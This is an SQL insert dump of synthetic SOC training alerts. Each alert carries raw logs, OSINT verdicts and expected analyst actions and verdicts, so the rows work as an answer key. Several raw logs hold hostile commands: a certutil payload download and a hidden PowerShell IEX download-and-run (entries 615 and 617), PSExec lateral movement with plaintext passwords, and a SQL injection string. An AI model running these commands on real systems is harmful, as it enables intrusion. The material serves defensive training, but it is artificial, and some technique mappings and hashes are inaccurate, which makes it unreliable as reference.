(614, 'Internal Network Lateral Movement via PSExec', 'critical', 'Wazuh', 'An internal system was used to execute a remote command on another internal machine using PSExec, indicating potential lateral movement.', 'Lateral Movement', 'T1077', 1, 'New', NULL, '{\"timestamp\":\"2026-01-10T21:12:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"192.168.1.75\",\"username\":\"admin\",\"hostname\":\"SERVER-01\",\"command_line\":\"psexec \\\\\\\\192.168.1.75 -u admin -p password123 cmd.exe /c whoami\"}', '2026-01-10 10:01:55', '2026-01-11 14:06:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Source IP of the initiating system within the network\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Destination IP of the target system within the network\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"psexec \\\\\\\\192.168.1.75 -u admin -p password123 cmd.exe /c whoami\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"PSExec used for lateral movement, a known technique for spreading malware internally\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of PSExec for remote command execution is a strong indicator of lateral movement within the network. Immediate investigation and host isolation are advised.\"}', 'Advanced', 'EDR', 7, 1, 'TECH'),
(615, 'Potential Data Exfiltration via Certutil', 'high', 'Splunk', 'Certutil was observed being used to download a file from an external source, a technique often used for data exfiltration or downloading malicious payloads.', 'Data Exfil', 'T1140', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T03:25:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.100\",\"dst_ip\":\"203.0.113.85\",\"username\":\"hsmith\",\"hostname\":\"WORKSTATION-03\",\"command_line\":\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe payload.exe\"}', '2026-01-10 07:17:02', '2026-01-11 14:06:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected machine\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious.example.com/payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL associated with malware distribution\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"certutil.exe -urlcache -split -f http://malicious.example.com/payload.exe payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Certutil used to download potentially malicious file\"}}],\"expected_actions\":[\"block_ip\",\"block_url\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The use of certutil for downloading files from external sources is indicative of data exfiltration or malware download. Further investigation is necessary.\"}', 'Advanced', 'EDR', 7, 1, 'GOVERNMENT'),
(616, 'False Positive: Legitimate Use of MSHTA Detected', 'medium', 'IDS', 'An MSHTA execution was detected, which is commonly used by attackers for executing scripts. However, this instance was identified as a legitimate use case by an internal script.', 'Malware', 'T1218', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T07:40:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.120\",\"dst_ip\":\"\",\"username\":\"serviceaccount\",\"hostname\":\"SERVER-02\",\"command_line\":\"mshta.exe http://intranet.example.com/script.hta\",\"domain\":\"intranet.example.com\"}', '2026-01-10 16:40:24', '2026-01-11 14:06:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.120\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the server executing the script\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"mshta.exe http://intranet.example.com/script.hta\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"Legitimate execution of an internal script\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"intranet.example.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Internal domain for legitimate business operations\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The detected use of MSHTA was verified to be legitimate for executing an internal script. No malicious activity was confirmed.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS'),
(617, 'Advanced Persistent Threat Detected: Multi-hop C2 Communication via Slack', 'critical', 'CrowdStrike', 'An APT group has been detected using a multi-hop C2 communication channel through Slack to control a compromised system. The attack involves memory-only payloads and process hollowing techniques.', 'Malware', 'T1095', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:00:22Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"203.0.113.200\",\"username\":\"jdoe\",\"hostname\":\"CORP-DESKTOP01\",\"command_line\":\"powershell.exe -nop -w hidden -c IEX ((New-Object Net.WebClient).DownloadString(\'https://slack.com/api/secret\'))\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"domain\":\"slack.com\"}', '2026-01-11 06:23:43', '2026-01-11 14:06:58', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1023 times for C2 activities\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell.exe -nop -w hidden -c IEX ((New-Object Net.WebClient).DownloadString(\'https://slack.com/api/secret\'))\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Suspicious PowerShell command indicative of fileless malware\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware sample associated with APT activity\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of Slack as a C2 channel and the memory-only payload suggests a sophisticated APT attack leveraging legitimate services.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS'),
(618, 'DGA Domain Detected for Data Exfiltration', 'high', 'Splunk', 'A domain generated algorithmically has been detected, suggesting data exfiltration attempts from an internal server. The domain is associated with fast-flux DNS to evade detection.', 'Data Exfiltration', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T02:45:10Z\",\"event_type\":\"dns_request\",\"src_ip\":\"10.0.0.25\",\"domain\":\"xkjasd1234.info\",\"username\":\"svc-backup\",\"hostname\":\"SRV-BACKUP01\"}', '2026-01-10 18:00:27', '2026-01-11 14:06:58', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the server involved in suspicious DNS requests\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"xkjasd1234.info\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain identified as part of a DGA associated with data exfiltration\"}}],\"expected_actions\":[\"block_ip\",\"block_domain\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The DGA domain and fast-flux DNS indicate a sophisticated data exfiltration attempt, likely part of an ongoing APT campaign.\"}', 'Expert', 'SIEM', 9, 1, 'OT_ICS'),
(619, 'False Positive: Suspicious Login Attempt from Known Safe Location', 'medium', 'IDS', 'Multiple login failures were detected from an external IP. However, the IP belongs to a known safe location used by a trusted vendor.', 'Credential Attack', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T08:50:42Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.44\",\"dst_ip\":\"192.168.100.5\",\"username\":\"jdoe\",\"hostname\":\"CORP-DC01\",\"failed_attempts\":12}', '2026-01-11 00:32:19', '2026-01-11 14:06:58', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.44\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP address belongs to a known safe location used by a trusted vendor\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.100.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of domain controller\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The login failures originated from a trusted vendor\'s network, confirming benign activity.\"}', 'Expert', 'SIEM', 9, 1, 'OT_ICS'),
(620, 'Phishing Attempt Detected: Spoofed Domain and Malicious URL', 'high', 'Proofpoint', 'A phishing email was received with a spoofed domain and a malicious URL designed to harvest credentials.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:15:58Z\",\"event_type\":\"email_received\",\"email_sender\":\"noreply@secure-update.com\",\"username\":\"asmith\",\"hostname\":\"CORP-LAPTOP03\",\"url\":\"http://secure-update.com/login\",\"domain\":\"secure-update.com\"}', '2026-01-11 09:03:00', '2026-01-11 14:06:58', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"noreply@secure-update.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Sender domain spoofed to resemble a legitimate service\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://secure-update.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL identified as phishing site designed to harvest credentials\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"secure-update.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Domain reported for phishing activities\"}}],\"expected_actions\":[\"block_url\",\"reset_credentials\",\"block_domain\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email\'s spoofed domain and the malicious URL were clearly intended for phishing, confirming the threat.\"}', 'Expert', 'SIEM', 9, 1, 'OT_ICS'),
(621, 'Malware Detected: Known Malicious File Executed', 'critical', 'CrowdStrike', 'A malicious file with a known bad hash was executed on a host system. The file is flagged by multiple antivirus engines indicating its high threat level.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T10:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"hostname\":\"DESKTOP-1A2B3C\",\"command_line\":\"C:\\\\malware\\\\badfile.exe\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"domain\":\"maliciousdomain.com\"}', '2026-01-09 22:10:29', '2026-01-11 14:07:31', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected host.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash detected as malicious by over 50 antivirus engines.\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain is associated with known malware distribution.\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The execution of a known malicious file hash confirms this is a true positive malware event.\"}', 'Novice', 'EDR', 1, 1, 'OT_ICS'),
(622, 'Critical Malware Detected: Trojan Executed on Host', 'critical', 'CrowdStrike', 'A known Trojan malware was executed on the host machine. The file hash matches a known malicious hash with 50+ detections on VirusTotal.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T14:23:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"203.0.113.45\",\"username\":\"john.doe\",\"hostname\":\"DESKTOP-ABC123\",\"command_line\":\"C:\\\\Users\\\\john.doe\\\\AppData\\\\Roaming\\\\evil.exe\",\"file_hash\":\"1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef\"}', '2026-01-11 14:07:44', '2026-01-11 14:07:44', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected by 60 out of 70 antivirus engines\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"C:\\\\Users\\\\john.doe\\\\AppData\\\\Roaming\\\\evil.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command execution of known Trojan\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The detected file and external IP are confirmed malicious based on multiple OSINT sources, indicating a true positive malware infection.\"}', 'Novice', 'EDR', 1, 1, 'OT_ICS'),
(623, 'Critical Malware Detected on Medical Device', 'critical', 'CrowdStrike', 'A known malware signature was detected on a hospital\'s medical device, potentially compromising patient data. Immediate action is required to isolate the device to prevent data exfiltration.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T08:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"\",\"username\":\"nurse.jones\",\"hostname\":\"med-device-01\",\"command_line\":\"C:\\\\malware\\\\ransomware.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"domain\":\"\",\"url\":\"\",\"email_sender\":\"\"}', '2026-01-11 14:47:48', '2026-01-11 14:47:48', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash detected by 60+ AV engines as ransomware\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised device\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"C:\\\\malware\\\\ransomware.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Malicious executable triggered on the device\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The file hash is widely recognized as malware, indicating a true positive. Immediate isolation of the device is necessary to prevent further compromise.\"}', 'Novice', 'EDR', 1, 1, 'HEALTHCARE'),
(624, 'Brute Force Attack on EHR System', 'high', 'Wazuh', 'Multiple failed login attempts detected on the Electronic Health Record (EHR) system from a suspicious IP address, suggesting a brute force attack.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:45:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.2.10\",\"username\":\"admin\",\"hostname\":\"ehr-server-01\",\"request_body\":\"\",\"command_line\":\"\",\"failed_attempts\":25}', '2026-01-11 14:47:48', '2026-01-11 14:47:48', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.2.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of EHR server\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Admin account targeted in brute force attack\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The external IP is known for malicious activity, confirming a true positive brute force attempt. The admin account should have its credentials reset to prevent unauthorized access.\"}', 'Novice', 'SIEM', 1, 1, 'HEALTHCARE');
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`) VALUES
(625, 'Brute Force Attack Detected from Malicious IP', 'high', 'CrowdStrike', 'A series of failed login attempts were detected from an external IP address known for malicious activities.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:15:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"jdoe\",\"hostname\":\"CORP-WORKSTATION1\",\"failed_attempts\":35}', '2026-01-10 01:20:02', '2026-01-11 14:51:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Known user account within the organization\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP address has a known history of brute force attacks, confirming this as a true positive.\"}', 'Novice', 'SIEM', 1, 1, 'OT_ICS'),
(626, 'Malware Detected via EDR Signature', 'critical', 'Carbon Black', 'A malware file with a known signature was detected on a corporate workstation.', 'Malware', 'T1105', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T10:20:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.11\",\"dst_ip\":\"\",\"username\":\"asmith\",\"hostname\":\"CORP-WORKSTATION2\",\"command_line\":\"C:\\\\malware\\\\evil.exe\",\"file_hash\":\"abcd1234efgh5678ijkl9012mnopqrst\"}', '2026-01-10 11:52:11', '2026-01-11 14:51:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"abcd1234efgh5678ijkl9012mnopqrst\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash detected as malware by 65 antivirus engines\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"C:\\\\malware\\\\evil.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual file execution path\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The file hash matches known malware signatures, confirming this as a true positive.\"}', 'Novice', 'EDR', 1, 1, 'OT_ICS'),
(627, 'Phishing Email Detected with Malicious URL', 'high', 'Proofpoint', 'A phishing email was detected containing a URL that redirects to a malicious site.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:30:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"104.244.42.1\",\"email_sender\":\"phisher@maliciousdomain.com\",\"hostname\":\"mail.corp.com\",\"url\":\"http://maliciousdomain.com/login\"}', '2026-01-09 22:15:29', '2026-01-11 14:51:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"phisher@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"EmailRep\",\"verdict\":\"malicious\",\"details\":\"Email associated with phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://maliciousdomain.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL redirects to known phishing site\"}}],\"expected_actions\":[\"block_url\",\"educate_user\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contains a URL that redirects to a malicious site, confirming this as a true positive.\"}', 'Novice', 'SIEM', 1, 1, 'GOVERNMENT'),
(628, 'SQL Injection Attack Detected on Web Server', 'critical', 'Wazuh', 'A SQL injection attempt was detected targeting the corporate web server.', 'Web Attack', 'T1190', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T12:45:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.2\",\"dst_ip\":\"10.0.0.5\",\"hostname\":\"WEB-SERVER1\",\"request_body\":\"\' OR \'1\'=\'1\' --\"}', '2026-01-10 00:24:58', '2026-01-11 14:51:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.2\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple web attacks\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected\"}}],\"expected_actions\":[\"block_ip\",\"harden_web_server\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The request contains a clear SQL injection payload, confirming this as a true positive.\"}', 'Novice', 'SIEM', 1, 1, 'OT_ICS'),
(629, 'Suspicious Network Connection Detected', 'medium', 'Firewall', 'A network connection was made to an external IP known for suspicious activities.', 'Network Connection', 'T1041', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T13:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.12\",\"dst_ip\":\"185.143.223.42\",\"hostname\":\"CORP-WORKSTATION3\"}', '2026-01-11 09:40:55', '2026-01-11 14:51:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.143.223.42\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported 100 times for suspicious activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"monitor_traffic\",\"block_ip\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The external IP is known for suspicious activities, warranting further investigation.\"}', 'Novice', 'NDR', 1, 1, 'OT_ICS'),
(630, 'Failed Login Attempts Detected on Internal System', 'low', 'Splunk', 'Multiple failed login attempts were detected from an internal IP address. The source does not show any malicious history.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T14:10:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"192.168.1.20\",\"username\":\"mwhite\",\"hostname\":\"CORP-SERVER1\",\"failed_attempts\":8}', '2026-01-10 12:00:04', '2026-01-11 14:51:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"mwhite\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Known internal user\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The failed attempts were from an internal IP with no known malicious history.\"}', 'Novice', 'SIEM', 1, 1, 'TECH'),
(631, 'Email with Potentially Malicious Attachment', 'medium', 'Proofpoint', 'An email was detected with an attachment that could potentially be malicious. The attachment is not flagged by any antivirus engines.', 'Phishing', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T15:20:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.5\",\"email_sender\":\"unknown@unknown.com\",\"hostname\":\"mail.corp.com\",\"file_hash\":\"1234567890abcdef1234567890abcdef\"}', '2026-01-09 16:19:52', '2026-01-11 14:51:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"unknown@unknown.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"EmailRep\",\"verdict\":\"suspicious\",\"details\":\"Email from an unknown sender\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"1234567890abcdef1234567890abcdef\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"File hash not detected as malicious by any antivirus engines\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The attachment is not flagged by any antivirus engines; hence it\'s considered a false positive.\"}', 'Novice', 'EDR', 1, 1, 'OT_ICS'),
(632, 'Unauthorized PSExec Execution Detected', 'high', 'Wazuh', 'An unauthorized execution of PSExec was detected on an internal server, indicating possible lateral movement.', 'Lateral Movement', 'T1569', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T16:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"192.168.1.30\",\"username\":\"admin\",\"hostname\":\"CORP-SERVER2\",\"command_line\":\"psexec \\\\\\\\192.168.1.30 -u admin -p password cmd.exe\"}', '2026-01-10 16:40:16', '2026-01-11 14:51:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"psexec \\\\\\\\192.168.1.30 -u admin -p password cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Unauthorized use of PSExec tool\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Unauthorized execution of PSExec indicates possible lateral movement, confirming this as a true positive.\"}', 'Novice', 'EDR', 1, 1, 'TECH'),
